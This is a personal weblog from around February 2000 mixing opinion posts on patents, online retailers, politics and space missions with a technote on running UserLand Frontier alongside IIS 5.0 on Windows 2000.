After seeing the boycott Amazon site, I wonder if there’s a site for boycotting car companies that obtain patents, or drug companies, or computer companies, or software companies…

And as for Michael Wallace’s statement, there’s actually a very strong argument that if you take away a company’s ability to patent their innovations, then there is less of a desire to innovate; if I spend time, money, and manpower creating something new, and then companies can just take the idea from me and not have to invest the same time and money in planning, then why would I want to innovate? And if I can just steal their ideas, there’s even less of a reason for me to stick my neck out.

I’m fairly surprised that Dave Winer points to the “Girlfriend Remote” on today’s Scripting News; it’s a pretty offensive little thing. (Similarly, the commercial for Focus Daily contact lenses that’s currently running, where a bunch of teenage girls say that you throw the lenses away every day “just like boys,” seems like it’s only tolerable because it’s girls ranking on boys; flip it around, and I doubt many TV stations would run it.)

If you’re even remotely interested in DVDs — the technology, the issues surrounding studios’ decisions about DVDs versus VHS tapes, and the movies that are released on the format — then the DVD Resource Page is for you. It’s Steve Tannehill’s (usually) one-subject weblog, it’s been around since September 1997, and it’s definitely worth a bookmark.

I cannot tell you how much the overprescription of psychotropic drugs in kids disturbs me.

The Mardi Gras silliness continues. Last year, 360 people were arrested for public indecency; this year, they’ve already started arrests, and are threatening shutting down the balconies on Bourbon Street from which people throw beads down to people. Maybe I’m sheltered, but I can’t recall anyone ever complaining about what goes on during Mardi Gras…

I could not want to stand up and stretch any more, but I have a contented, purring, sleeping cat on my lap, and life doesn’t get any better than that.

My brief take on the Amazon patent for their Associates program: it doesn’t bother me in the slightest. For starters, they applied for the patent on June 27, 1997, which is a long time before the Internet commerce craze hit. They put time, programming skills, and money into developing the program, the first of its kind (so far as I know, and Business Wire 7/18/1996 agrees). And, most basically, they are entitled to protection for their innovations, just as drug companies are entitled to patents on their new medications.

I think that the furor over this patent is a function of the fact that it took 2+ years to grant the patent, during which similar systems have popped up at other websites. This doesn’t mean that those systems weren’t copied when the webmasters of those sites saw Amazon’s successful model; in fact, I suspect that’s exactly what happened.

I think I like Fred McPherson’s take on all this.

And as for the much-ballyhooed noamazon site, I find it lacking in truth. For example, on their explanation page, they try to draw parallels between the 1-Click patent and “taking a credit card order over the phone” — a very weak parallel. Instead, imagine an entire system whereby I could give a company my billing and shipping information ahead of time, and then I could just call them, type in an item number and my customer ID number, hang up, and expect my item to ship out for delivery. That’s the parallel to the 1-Click system.

zzyzx road

For the linguists and Scrabble players out there, a truly comprehensive site to visit is A Collection of Word Oddities and Trivia. Where else can you find out which words have four, or even five, same letters in a row, or what the longest word with only one vowel is, or even what pneumo­no­ultra­micro­scopic­silico­volcano­coniosis means?

That’s cool — because that’s such a long word, I decided to learn how to represent a soft hyphen in HTML, so that your browser will wrap it with hyphenation. (For reference, it’s “&#173;” or “&shy;”.) I just noticed that this doesn’t work in Netscape 4.X; it turns out that there’s a large historical discussion behind the soft hyphen. The long and short of it is that HTML 4.0 defines it the way that IE 5.X displays it — a discretionary hyphen, only visible when the browser wraps a line at it.

This makes me want to vomit. (Mental note to self: to stay calm and keep your food down, remember that anyone who says that their way is the only way is sheltered and needy of perspective.)

Quite possibly, the coolest 404 page I’ve seen. I may have to implement some o’ that myself…

Last month, Dubya spent $288 a minute, and all he got was the lousy South Carolina primary.

I have had to think about this long and hard, since I used to be their biggest fan, but I’ve come to a decision that I can no longer recommend Dell computers to anyone. I have an Inspiron 7000 laptop, less than 6 months old, and Dell has decided that they will offer no support for it and Windows 2000; they now have a newer top-of-the-line Inspiron, and because of that, I get no support for my machine. No drivers, no ACPI-compliant BIOS, nothing.

honolulu from shuttle radar mission

I didn’t realize that some of the images are back from the Shuttle Radar Topography Mission. Some of the pictures are just amazing.

As if there was ever any doubt that it would happen, my Barnes & Noble order is now lost, and they cannot explain what has happened to it. I got three different excuses for what “could have happened” from three different customer service reps, and a manager who outright refused to come to the phone, instead relaying various and sundry concessions through one of the first-tier reps. What a horrible, terrible company; I hope that Amazon puts them out of business.

Very very very very cool: David Carter-Tod has implemented LDAP authentication in Frontier. (David’s the same guy that wrote an XML-RPC client and server for Active Server Pages.)

There’s an interesting press release at the official Star Wars site that answers the question of why there are no releases, or planned releases, of the Star Wars movies on DVD. The bottom line is that George Lucas ostensibly wants to “do something special with the DVD release,” and due to his concentration on Episode II, doesn’t have the time to put into it right now. Our loss…

Can Mardi Gras survive without the nekkidness?

Ummmm… could there be anything cooler than a microscope that can see a single atom? Wow.

A GAO study released this yesterday confirms what I’ve suspected — most daytraders lose big money. Interesting to me is the fact that the GAO study was commissioned in the wake of Mark Burton, the daytrader who slew nine people and then committed suicide last July. (I’m looking for a link to the report; it’s not on the GAO site yet.)

Genius, sheer genius.

A brief update on my rant about a bad experience with Barnes & Noble online. (Even more briefly: the CDs have still not shipped, and they cannot explain why.)

diana krall

Congratulations to Diana Krall (who can drop me a line anytime) for her two Grammy Awards — best jazz vocal performance and best engineered non-classical album (both for When I Look In Your Eyes). (As a Grammy winner, it’s supposed to be 30% off at Amazon; I’m going to call them to see why it isn’t, especially given that it’s the #4 seller on Amazon right now.)

Victor Stone’s latest column is a perfect depiction of my experience trying to roll out new (or unfamiliar) technologies in the workplace.

And, it seems that Lawrence Lessig has expressed reservations about breaking up Microsoft to Judge Jackson. I’m glad to read this, since I think that Lessig actually has some influence with Jackson.

Tonya Harding has apparently lost her cool again.

Still on the HTTP server status code thread: did anyone else know that the way Internet Explorer decides whether or not to show its own “friendly” 404 error page (if the friendly errors are turned on) is by checking the size of the one sent from the server? On my machine, the registry setting is 512 bytes — if a 404 page is less than 512 bytes, then IE shows its own, and if it’s bigger, then IE shows the one returned from the server.

Hmmmmm — it seems that there’s a porn website (or a meta-porn website, if you want to be specific) on weblogs.com, despite the bolded statement on the weblogs.com about page that reads “No porn sites, hate groups, spammers.” (This means that, as the ad system is set up now, you could end up with a porn ad on your page if you are diplaying banner ads from weblogs.com.) Erin Clerico began a discussion about this on Thomas Creedon’s weblog; Dave has also started a discussion on weblogs.com itself about what, if any, solutions are needed.

I’ve had the Virtual Bubblewrap page bookmarked for a while now, but it’s never given me the satisfaction of the real thing. From the age of Shockwave, though, comes Perpetual Bubblewrap, which is much more satisfying. Cooooool.

It seems that a new book proclaims that astronauts have had sex in space, but NASA’s denying the assertion. Come on — I’d have to assume that people have experimented on the Shuttle, with or without NASA’s consent.

While Passport Access isn’t webcrawling for resumes anymore, they are still grabbing them off of websites and “technical sites” by hand and giving or selling them to clients, which is still a major violation of U.S. Copyright law. As brig mentioned two days ago, perhaps they need to read 10 big myths about copyright explained. (Of course, when I emailed them about this a while back, I gave them a bunch of copyright links to peruse, and it apparently didn’t do much.)

Slightly updated information about the #objectNotFoundHandler — it should return an HTTP status code 404, since that’s the code that, by spec, should be returned to the client when a page isn’t found.

Back on the Win2K wagon: there’s now a TechNet page with the top support issues for Win2K. A good one: what Windows Time Service is, and how it works. (Windows Time Service appeared with Win2K, and up until now, I have had no idea what it does!)

From Medley today comes a scary interview with Al Gore in which he seems way too blasé about the possibility that innocent people could be executed under death penalty convictions.

A shocker of a news story — the Multimillionaire couple isn’t going to remain married. I love that the bride wishes that she “had the moral fortitude… to walk away” when she was the one chosen by Rockwell… that shouldn’t be one’s big moral test in life.

What bothers me most about the whole bust Microsoft up tirade is that Microsoft has made my job so much easier. Imagine the life of a typical IS person when they have to deal with dozens of different versions of operating systems running on the desktops of their company, all having to use the same peripherals, share the same devices, write in the same file formats… it’s a nightmare waiting to happen, and it’s what is about to be legally imposed on us. Ugh.

A little while ago, when I was playing around with a little web app I was writing, as well as the Manila #objectNotFoundHandler, I came across a great reference of the HTTP server status codes. We all know what a 404 is, and many of us know that a 403 is an access forbidden, but what about 410 (gone), or 205 (reset content)?

A few days ago (last Thursday night, but after midnight, making it February 18th), I decided to buy a few CDs online. I had a coupon for $10 off at Barnes & Noble’s site, and they had the CDs that I wanted, so I decided to use them. Big mistake.

Setting up my account

My first problem with B&N was with the account setup system. In order to be able to place an order with Barnes & Noble online, you have to set up an account with them. (This is no different from most, if not all, online merchants.) Their setup system flat-out refused to store my credit card information; for the first three times that I submitted it, I got back a cryptic database message (I wish that I had kept it), and the next two times, it accepted it, but when I went back to the billing information screen, I had no credit cards listed. For some reason, I tried a sixth time, and it worked — I have no idea what I did differently.

Then, it allowed me to set up specific shipping addresses. Since I cannot receive packages at my residence (I live in an apartment building without a doorman, meaning that I end up playing chase with a UPS or FedEx driver for days), I always have stuff shipped to work. I decided to set this up as my primary shipping address… and again, it just didn’t stick. The server seemed to accept it — I didn’t get any error messages, but it just wasn’t there. It took three tries to get it to stay.

With that done, I embarked on my shopping spree. Everything that I wanted was listed as in 24-hour stock, so I felt good that I’d have it all soon.

The gift certificate

At the end of the buying process on B&N, you’re asked for any gift certifiates that you may have (it’s step five). I entered the number of the one that I wanted to use, and then clicked to proceed. On the next screen (step seven), the gift certificate had not been taken off of the price. Hmmmm… I hit back in my browser, and it was typed into the space just fine. I clicked “Continue” again, and this time, it was accepted… strange. I clicked to confirm my order, and within about 10 minutes, got an email confirmation that everything was proceeding along, and that I’d get another email when the CDs shipped. For kicks, I checked my order status on their site, and it was listed as “In Process.”

I then clicked on the feedback mechanism on the website and penned off a quick note about my poor experience, and wondered to myself if I would ever get a response.

Flash forward to today…

This morning (around 9 AM Eastern), I realized that I didn’t have any confirmation that my CDs had shipped. I checked my order status on their site, and the order was still listed as “In Process” (whatever that means), so I called them.

The first annoyance of the call was that, after negotiating two menu trees, I was asked to put in my order number via my touch-tone phone. I did so, and then it asked me my zip code; after I entered this, I was connected to a human, whose first question was “What is your order number?” I asked her why I had been asked to type it in on my phone, and her answer was “I’m sure that there’s a very good reason for it, but I really can’t answer that.” Interesting.

More interesting, though, was her explanation for my order status — it appeared that my credit card had failed authorization. I had just used that credit card this morning, and knew that it was fine, so I asked her to read me back the number that they had. She read the last five digits, which were fine, so I asked her for the whole number. She replied, “Oh, I’m sure that you typed it in wrong… do you just want to give it back to me, and I’ll enter it and resubmit the order?” I told her that I didn’t want that; instead, I wanted her to read me the whole credit card number so that I could verify what they had, and she put me on hold. Three minutes later, she read it back to me, and sure enough, it was correct. I asked her why it had failed, then, and she had no clue — which is my clue to ask for a manager.

Her manager then came to the line, and I repeated my troubles to her. I told her that I was amazed that I had to call them to find out that my order was on hold; she said that I should have received an email to that effect. I explained that I didn’t, and she was audibly amazed (for lack of a better description). I also told her that I was a little put off by the complete lack of a response to my feedback message about the troubles I had even setting up my account and placing my order; she apologized for that, and offered me 30% off of this order. I told her that that was fine, she resubmitted my order, and said that it was going to be shipped out ASAP. That ended the call.

This evening

When I arrived back home this evening from school, I checked the status of the order again, and it was still “In Process.” I called to ask if and when it was going to ship, and was told that it was “in the process of shipping,” but that there would be “no possible way” for it to go out before tomorrow, since all of the items were on 24-hour inventory. I agreed with the woman, but noted to her that they were on 24-hour inventory last Thursday, when I placed the order… and that a manager told me they would ship ASAP when we spoke this morning. This agent told me that tomorrow is ASAP, and tried to “explain” how web merchants work to me. She also said that it was the gift certificate that I had used that caused the entire problem; their system breaks with certain gift certificates, and here’s the kicker: there’s no way for them to know the orders that have broken without the customer calling in to complain. I told her that that line alone had guaranteed that I never will shop with them again, and she apologized, said she wished it weren’t so, and insinuated that I should have been happy to get the 30% discount. Buh-bye.

So…

Like I said a few days ago, good web merchants can make your life a lot easier. The flip side of this is that bad ones can make it a lot harder; there’s no reason why customers should have to keep a close eye on their orders to make sure that they haven’t been forgotten or caught in a poorly-designed system. There’s just no excuse for it.

Now, does anyone think I’ll see those CDs?

(A brief Wazzup! to my friend VJ, who’s gonna be coming here later to find the real and spoofed commercials.)

io, moon of Jupiter

I think it’s so cool that the Galileo satellite flew within 124 miles of Io today. This is a satellite which ended its primary mission in 1997, ended its extended secondary mission last year, and now is in yet another extension. So, when a mission fails (like the recent Mars Polar Lander mission), remember that there are quite a few missions that have lasted well beyond their intended lifespans.

Rant of the day: where the author orders from Barnes & Noble online, and regrets it immensely.

Synergy: after my comments a little while ago about a San Antonio high school basketball player being charged, and convicted, of assault after throwing an elbow during a game, Bruins defenseman Marty McSorley intentionally slashed Canuck Donald Brashear and is facing a criminal investigation.

I can only assume that Palm’s new folding keyboard is the Stowaway keyboard by Think Outside. (And quickly comes confirmation of this, thanks to Lawrence.)

I used to enjoy reading Peter Coffee’s columns, but over the last year or two, he has firmly planted himself into the jack of all trades, master of none category. He also has found it incredibly difficult to hide his clear anti-Microsoft stance, and it’s gotten tiresome. (One other complaint: the above-linked article doesn’t start until halfway down the web page on my 1024x768 monitor; the portion above that is taken up by a nav bar, a banner, an ad, a search bar, a column header, and a three-line byline… not the greatest design. I’d hate to be in 640x480…)

Whew.

Ricky Williams, an NFL player, was taken to jail last night for refusing to sign a traffic ticket. My favorite thing about this: his lawyer essentially said that it was terrible judgement by the police to jail him, since he’s famous and they know where he lives. Ahhhh, so that’s how our criminal justice system should work; if you’re famous, you don’t have to follow the law, since they cops know where to find you. Huh?

I dunno… I could see Finger Twister getting out of hand at office parties; a good 20-inch monitor would be an asset. (Thanks to Eric for the pointer on this one.)

I’m probably the last one to figure out that etoy.com is back on the air. Unfortunately, the Yankee Doodle background music is too annoying for words, and since I can’t hit a button to turn it off, I have to leave their site now.

Remember back on December 24th, when I recommended the Blue Note Years box set? Well, back then, it was around $200; right now, you can get it for $156.78 at CDNOW. Awesome deal, for an awesome set of music.

Hola right back atcha, Dan… (and the other Dan, too).

I definitely need a pair of red-blue 3D glasses, and possibly, I need to stop obsessing so much over the NEAR satellite.

So, it may be that a former writer for South Park, currently writing for That 70s Show (moved to tonight!), is the genius behind the Superfriends Wazzup commercial spoof. (The spoof is on AdCritic.)

I went surfing around the web looking for information about the Blue Note music label, and also happened upon Blue Note Radio, which is just friggin’ excellent. (Two notes: first, it requires Flash, and second, it’s not going to open up exactly as it would if you went to the Blue Note homepage and clicked through to it; they use JavaScript to bring it up, and I didn’t feel like figuring it out.)

After discovering that Rick Rockwell, the groom in Fox’s Who Wants to Marry a Multimillionaire, once allegedly threatened to kill an ex-girlfriend, Fox has removed the rerun of the show from their schedule. (The ex-girlfriend got a restraining order against him then.)

And now, Chuck pointed here and asked whether the woman who Rockwell (nee Balkey) married can divorce him and take half his money — a very interesting question, it turns out. All 50 women who participated in the show were required to sign prenups, but the prenups (ostensibly to keep the identity of the groom a secret as long as possible) were extremely vague as to his assets; they “summarized” what he was bringing into the marriage. Almost every lawyer who has talked about this today has said that such prenups are never upheld in court; one of the basic requirements of the agreements is that they explicitly spell out the assets that are covered. It’ll be interesting.

I needs me a Massachusetts quarter!

Worth every second you spend reading it: Sean Riley’s review of “Secret Video Game Tricks, Codes & Strategies”. I wasn’t going to point to this until I found myself unable to breathe I was laughing so hard. A few choice quotes:

  • “The whole damn thing is like letting a friend play your Nintendo badly with their feet. Only they don’t talk, you hate them, and they’re dressed like an insane housepainter.”
  • “I don’t know why they did it. Were they trying to make children cry, or did they just want to make it very clear that he wasn’t enjoying himself? A football player running aimlessly in circles, a close up of a half dead mutant kid staring at a game he hates… it’s like East German surrealistic filmmaking meets the production values of a local used car commercial.”

Molly Ivins on Dubya: “I am a Texan…. I know what kind of governor this guy has been — if you expect him to do for the nation what he has for Texas, we need to talk.”

The Washington Post proclaims that Win2K isn’t for home users, but there’s a strong part of my brain that firmly believes that it’s an excellent choice for people who have home machines hooked up to always-on Internet connections, like cable modems or DSL lines. The main reason I feel this way is that the security model is pretty damn tight, and for a group of users that generally has not had to worry about security concerns before on their home machines, maybe something like Win2K would help.

It appears that DirecTV is engaging in a little of the ol’ bait and switch tactics when selling sports packages. In addition, though, the author documents the sad state of most customer service phone calls quite well:

I ask why these rules aren’t mentioned on their Web site in the description of the package. He says they are. I happen to have the site open during our conversation and ask where I should look on the page to see a mention of this “in-market” restriction. I even read it to him, but as I do, he keeps interjecting the phrase “in-market” at the end of every sentence, even though it’s not actually written there — like we just ate Chinese food and he’s adding “in bed” to the end of every fortune.

Stories like this underscore the fact that you put your trust completely in the pilot when you get onto a plane. The story, though, has a great explanation of what goes into figuring out how high a commercial plane can fly, and weight limits, and other mystical principles of physics that keep planes in the air (or make it tough for them to stay there).

There are just some criminals that aren’t quite smart enough to pull it off.

Cool new Windows 2000 feature of the day: Secondary Logon (also known as Run As). This lets you run applications as another user — so I can log in as a normal non-administrator level user, and occasionally run an admin tool as the domain administrator. Very very cool that Windows has finally gotten this feature. There’s a list of other Win2K tips, too.

Oh, and a gem of a find is that Microsoft has started to collect all the frequently-asked Windows 2000 questions on a single knowledge base page.

Today, I decided to do a complete reinstall on one of my Windows 2000 boxes; I bought a big, fast new hard disk for it, and wanted to strip it down to bare metal, as it were, and start the installation from scratch. From this experience comes these recommendations (which you’ll note aren’t all as practical as you were probably expecting):

  • If you have more than one hard disk in your machine, delete the partitions off of all of them and only let the Win2K installer partition and format the one that you’re putting the actual Win2K files onto. I let it partition and format both of my drives, and when the setup was complete, I ended up with my operating system on D: and my blank hard disk at C:. Ugh.
  • If you have multiple computers and a small area to work in, get yourself a Black Box ServSwitch Wizard, at the very least. Because of this little box of joy, I was able to set up the Win2K machine while doing maintenance on my Linux box and working on everything else I needed to do on my other Win2K box, all on one keyboard, mouse, and monitor. Really helps to be able to do that.
  • During the long format and copy stages of Win2K setup, grab a vacuum cleaner and get all of the nastiess out from underneath those tangles of cable and computers. We all have it, because we all shove our computers into narrow, poorly-ventilated spaces; that’s where the dust and evil lurks. When you are devoted to sitting near your computer waiting for file copies to finish, it’s the perfect time to clean all that stuff up, and it really only takes 10 minutes or so to do.
  • Come to think of it, during that time, set up a nice set of speakers. I had these in their box on my floor for the last three months, because I don’t have a surround sound card in my workstation; I decided the hell with that, set them up while my hard disk was formatting, and they’re awesome.

Hmmm, who knew — the Fox multimillionaire isn’t all he said he was. Wow.

Salon has published a pretty good look at the issues involved with the Federal judges denying APBNews access to their financial disclosure forms; they also speculate as to whether Dubya had anything to do with the closing of certain voting stations in South Carolina’s primary today.

I don’t know how I missed yesterday that the FDA has finally gotten around to declaring mifepristone “approvable”. It’s offensive that it’s taken this long to get this far, and that it sill has hurdles to jump.

And I cannot, for the life of me, think what problem is solved for NBCi (NBC’s Internet division) by adding a “.1” to the end of already-valid email addresses. If they were changing “suzy@xoom.com” to “suzy.1@nbci.com”, then perhaps it’s justified to avoid address collision, but to leave the same domain name on the address means that this is most likely purely a power play to get people to change their addresses to some other central NBCi domain name. (I’d imagine it will, instead, get the users to change their email addresses to some HotMail or Yahoo address.)

I’ve spent my whole day setting up a new computer for my parents for their new cable modem connection, but it now turns out that Time Warner won’t get around to the connection for another two weeks. (Of course, at least my parents can get a cable modem; they live on the Upper East Side of Manhattan, which is where the money is, so it’s also where Time Warner provides services first. They’ve had digital cable for over a year, and can now get a cable modem; over 2/3 of the city still doesn’t have digital cable.)

And now I’ve noticed that postings in the Discussion Group don’t have their titles displayed; I’m on my way home to fix that. Fixed.

Sorry about the quietness here; I’m now redoing the config on the machine that had hosted Q for the last month. (LVD SCSI hard disk, nice video card, blah blah blah.)

The following was posted to the Scripting News discussion board in response to this article:

========================

I am extremely troubled by this reply.

No-one sets out to commit a social gaffe. All of us try to behave correctly. But we all make mistakes, and it is part of being a mature person to accept that sometimes we screw up. It’s important to be able to listen to others, to accept criticism and to understand that sometimes we’re wrong.

This isn’t “being remade”, this is just what’s necessary for imperfect humans to function in a social world without killing each other.

I have no opinion on the fundamental issue this whole business is about. I haven’t even visited Dave Polaschek’s site.

I’m observing this whole thing solely from the point of view of social graces and behavior. And I’m bothered by what I see.

All of us modify our behavior to suit the people around us all of the time. This is normal, healthy and mature. It isn’t any kind of sacrifice of individuality; rather, it’s nothing more than common courtesy.

There are people I spend time with where certain levels of profanity are considered normal and acceptable. There are other people I know which are offended by that kind of thing. I modify my language based on whom I’m with.

Is it truly your desire that the only things you read here are people praising you? Do you really want to be surrounded by yes-men?

If so, I feel deeply sorry for you.

There’s a guy named Paul. I used to work with him.

When I got out of college, I was insufferable. While technically competent, I was socially immature, and was careless and abrupt with the people around me. As a result, I tended to antagonize others, and I didn’t know why.

Paul didn’t have any choice but to work closely with me, and he’s one of the people I antagonized. He came to me one day and told me about this, and I confessed to him that I didn’t know what it was I was doing to make people dislike me, but I wanted to change it.

So we made a deal: whenever I said or did something he didn’t like, he told me immediately.

And over the course of a year, I changed. I learned.

I owe him a debt I can never repay; he taught me things I could never learn any other way, although I know it wasn’t fun for him to do this.

Yes, it changed me. It improved me.

There’s nothing wrong with change.

========================

It received a one-bit response: it got deleted within 15 minutes of being posted. I think that is a very eloquent reply, though perhaps it says more about the deleter than about the deleted.

I find it extremely ironic that I read the following quote on Scripting News: “The web treats censorship as damage, and routes around it.”

I have three words for all of you: SNOW SNOW SNOW!

I don’t care what anyone else thinks… last night’s episode of ER was amazing. My heart raced from start to end and my emotions were completely involved in the show; as a friend put it when I spoke to her afterwards, during the commercials, I realized that I should start breathing again.

Awesome — I had no idea that there was a central repository of comments regarding Winer v. Powazek. I, like John, am slightly incredulous that a man who waxed poetic about the needless bitterness and exclusivity in the web author community would then senselessly attack another member of that community.

The Linux Knowledge Base looks like it could have some real potential when it launches in earnest.

Ummmm… some people claim that keeping a website like this is slightly freakish, but it’s nowhere near the scariness of Derek’s Big Website of Wal-Mart Purchase Receipts.

remember this quote? we may hear this again:

“he earns praise for the ordinary, for what used to be the expected. his occasional ability to retain facts is cited as a triumph when it should, in fact, be a routine occurrence …”

— richard cohen, washington post, june 2, 1983, referring to ronald reagan.

Excellent online diary entry about Who Wants to Marry a Multi-Millionaire.

Couldn’t resist pointing to it: yesterday, Dave Winer decided to hurl an insult at Derek Powazek, seemingly out of the blue, at least for those of us who aren’t “in” enough to know why. Derek responded gracefully, which led Dave to heap more insult on top later in the day. And it all got summed up quite accurately by Neale Talbot today.

After Jerry Lewis said that women can’t be comedians (and something much more offensive), Entertainment Weekly has their list of 10 women funnier than Lewis. I hope they stopped at 10 because it’s a round number; I can’t think of any female comedians not funnier than Jerry Lewis.

For those (like me) who couldn’t contact the main NEAR satellite site, there’s now a mirror.

A two-fer in the latest installment of Bushism of the Week:

If you’re sick and tired of the politics of cynicism and polls and principles, come and join this campaign.
 
How do you know if you don’t measure if you have a system that simply suckles kids through?

Interesting question: if legislators stop the anthrax vaccination program, what will happen to the soldiers who refused to take it? Brings up questions of insubordination, right to make choices about one’s own health, and evidence-based practice of medicine on a forced, national scale.

I have to say, I don’t feel too badly for students at colleges which have banned Napster on their networks, and looking at it as “censorship” is just plain ridiculous. When universities with huge bandwidth are saying that 61% of that bandwidth has, at times, been used exclusively by Napster, then they have to do something about it.

Maxim for life in the year 2000: a well-implemented web commerce site makes your life significantly easier.

Great example: Insight. When you view your past and present order status, it’s a direct glimpse into their orders database; one time, I was on the phone with a rep working out a replacement for a DOA item, and as he was entering it, I saw the order on my account order info screen. Shipping and tracking info is also real-time.

Bad example: Buy.com. On any item screen, they show a little button which is supposed to tell you availability of an item (ships in 24 hours, on back order, etc.). Three times now, they have had something as in-stock when it is backordered for months; when I placed my order, they didn’t tell me about the delay, and I had to call to find this out when my item didn’t arrive after a few days. Weeks later, they still hadn’t changed the status, and actually said to me “if status is really that important to you, we’d recommend that you call to verify it before placing your order.”

As a general rule, I like TV ads that surprise you.

Tres interessant — it seems that the Mars Polar Lander probably had a fatal flaw; I’d imagine that, if this is true, it’s buried about 100 feet deep in the Martian soil at this point.

It just seems that there’s no way that my cat could become overweight; I found her on the street, pretty small, and she’s just remained small no matter what I feed her. She’s wiry and rambunctious, and doesn’t seem to be in any hurry to settle down into the lazy, moody cat thing.

What a child. When Rodman was with the Spurs, I begrudgingly thought maybe he had changed, but nope, he ended up on waivers. Hint to you, Dennis: when you say “Nobody else in the league would have gotten kicked out for that,” it’s because nobody else could have been kicked out for that, because nobody else would have sat down on court.

A few political links this morning. First, two good articles from Slate about the disingenuous “push polls” conducted by Dubya’s camp in South Carolina, and just how much Dubya is like his father. Then, there’s nothing quite like a little hypocrisy in an election year.

Despite much resistance, I saw Cider House Rules last night, and it was pretty good. Since I just reread the book a few weeks ago (easily one of my top five, thus the source of my resistance), it was still fresh in my mind, and I was disappointed that some pretty major characters were written out of the movie, but all in all, it was more faithful to the book than I thought it was going to be. What a great story, too.

eros crater

NEAR-related quote of the day, regarding the weak gravity of the asteroid Eros and the large crater seen in pictures taken yesterday: “If you were running down the wall of the crater and you were running back up, you’d probably just leave.” (Joseph Veverka, Cornell scientist, from MSNBC) That’s so damn cool.

Why haven’t I read more about Jerry Lewis clearly having a psychotic episode?

WOW. I cannot wait to get home and start playing with this; damn not being able to force an update on my Frontier box remotely. (Maybe this is the next Control Panel Add-In that I do…)

Residency rank list done, stress just beginning.

So, as a stress reliever, I installed a newer, higher-quality QuesoCam today. Have a peek, if you dare.

Baxter is about to embark on in vivo trials of pig organs as transplants. It’s fascinating, but more fascinating is that they’ve already used pig livers external to the body as filters, bridging the time until a suitable human liver can be found.

It’s not how I would resolve a dispute, but…

What a coincidence (pronounced coe-ink-ee-dink): Dell moves their website to Win2K, and I’m installing Win2K on my Dell. Whoa.

So Virginia legislators are moving oral sex from the world of felonies to a misdemeanor. The next things to lose their felony status in Virginia: working on Sunday, eating anything but fish on Friday, not saying grace before dinner…

There is a major change in functionality introduced in Internet Information Server 5.0 (the version of IIS that comes with Windows 2000) that may affect your ability to run Frontier as a webserver.

The Feature

IIS 5.0 has a new feature named socket pooling which it uses on machines which have multiple IP addresses. Essentially, when socket pooling is turned on, IIS will grab every IP address on the machine, even if it is explicitly configured to not use one or more of those addresses. The reason that it does so is explained in a technology note about IIS:

In IIS 4.0, each Web site was bound to a different IP address, which meant that each site had its own socket that was not shared with sites bound to other IP addresses. These sockets are created when the site starts, and they consume significant non-paged memory (RAM). This memory consumption limits the number of sites bound to IP addresses that can be created on a single machine.
 
For IIS 5.0, this process has been modified so that sites bound to different IP addresses, but sharing the same port number, share the same set of sockets. The end result is that more sites can be bound to an IP address on the same machine than in IIS 4.0. In IIS 5.0, these shared sockets are used flexibly among all of the started sites, thus reducing resource consumption.

The Problem

What does this mean for you, the Fronter web developer? If you intend to set up your IIS 5.0 machine with two or more IP addresses, and have IIS bound to port 80 on all but one address while putting Frontier on port 80 on that remaining one, then socket pooling will prevent Frontier from being able to bind to that last IP address — IIS will still be bound to it. In order to allow Frontier to bind to that IP address, you have to turn off socket pooling, and you also have to set up Frontier to only bind to the intended address.

The IIS configuration side of things

First, you need to make sure that IIS is configured to leave the IP address alone that you want to use for Frontier.

  1. Open up the Internet Services Manager (from your Administrative Tools program group), and go to the Default Web Site for your machine. Right click on it, and bring up the site Properties.
  2. On the first tab (Web Site), under Web Site Identification, make sure that the IP Address is not set to “(All Unassigned)”. (This gives IIS every IP address on the machine except those explicitly assigned to other IIS web sites.) Instead, from the pulldown list, choose a specific IP address, and not the IP address that you want Frontier to use.
  3. If you want IIS to use multiple IP addresses, click on the Advanced button, and enter all of the IP addresses into the Multipl identities for this Web Site box.
  4. Click OK to close all of the dialog boxes back to the Internet Services Manager, and then close the Internet Services Manager as well.

Now, you need to turn off IIS 5.0 socket pooling. There’s a Microsoft Knowledge Base article (Q238131) that describes how to do that; I’ll recap here. (Note the conditions at the top of the KB article that describe Microsoft’s recommendations for situations in which it is appropriate or inappropriate to disable socket pooling.)

  1. Make sure that you’re logged into your machine as an administrator-level account, and bring up a command prompt. Change to the IIS adminscripts directory (default: C:inetpubadminscripts).
  2. Type the following:
    cscript adsutil.vbs set w3svc/disablesocketpooling true
  3. You should get back a reply:
    disablesocketpooling : (BOOLEAN) True
  4. Open the Services… control window (from your Administrative Tools program group), and scroll down to the IIS Admin Service. Stop and start it. (It will tell you that it also has to stop your WWW and FTP services, if you’ve got them both running; let it do that.)
  5. Restart your World Wide Web Publishing Service (and your FTP Publishing Service, if you had it running before).

The Frontier configuration side of things

In order to set Frontier up to only use one IP address, you have to be running version 6.2a5 or greater. For Userland customers with current support contracts, the alpha version and docs are available on their support website. Once installed and updated, you need to configure Frontier to only use the single intended IP address:

  1. Open up the user.inetd.config.http table.
  2. Add a new object named ip, a string, and set its value to the IP address that you would like Frontier to use.
  3. Quit and restart Frontier.

That’s it — now, Frontier should be using its IP address, and IIS 5.0 should be using the ones that you configured it to take. Check your Windows Event Logs for any errors, lest we messed something up here.

Feedback

If you have any comments, corrections, additions, or updates on this technote, please either mail me or post a reply in the Discussion Group (the preferred method!) by logging in and typing away.

Happy Valentine’s Day, Hallmark holiday of all Hallmark holidays!

I made a slight change to the Cascading Style Sheet for Q today; it may mean that, all of a sudden, things look different than they did before. (I was specifying certain font sizes absolutely before, so they didn’t scale with the font size setting; they’re now relative. I didn’t know that Netscape supported percentage-based font sizes, or I would have done this long ago.)

New Frontier technote: Internet Information Server 5.0 and Frontier. (IIS 5.0 is the version that comes with Windows 2000, and there’s a little catch to it when using it with Frontier’s webserver.)

Seen on null means null today: “Zero is the great unifier. One apple and one 1979 Buick are very different entities, but no apple and no 1979 Buick are frighteningly similar.”

How cool is this — the NEAR satellite is now the first artificial satellite orbiting an asteroid. It’s also very cool to me that an object the size of Manhattan has enough of a gravitational pull to keep something in orbit. UPDATE: the first image is now back from NEAR since beginning to orbit Eros.

I dunno if it’s intended synergy, but when I was on hold with the Microsoft Developer Network customer support group today, the music I heard was the Peanuts theme song. (Sidenote: that link is the single best MIDI soundfile I’ve heard — that’s what MIDI should sound like, rather than the usual imitation of a five-year-old plinking around on an out-of-tune piano.)

Re: the efforts I mentioned yesterday by residents of Pitcairn Island to control their own top-level domain (.pn): ICANN has a copy of the letter signed by all of the residents which they sent to ask for their domain back, and apparently, when ICANN was given control Friday of all top-level domain delegation, they finally granted the .pn domain to its rightful owners. Wired also has a story on it today, which mentions another similar conflict — the .as domain (representing American Samoa) is controlled by an expatriate living in the U.S., not the territory’s government.

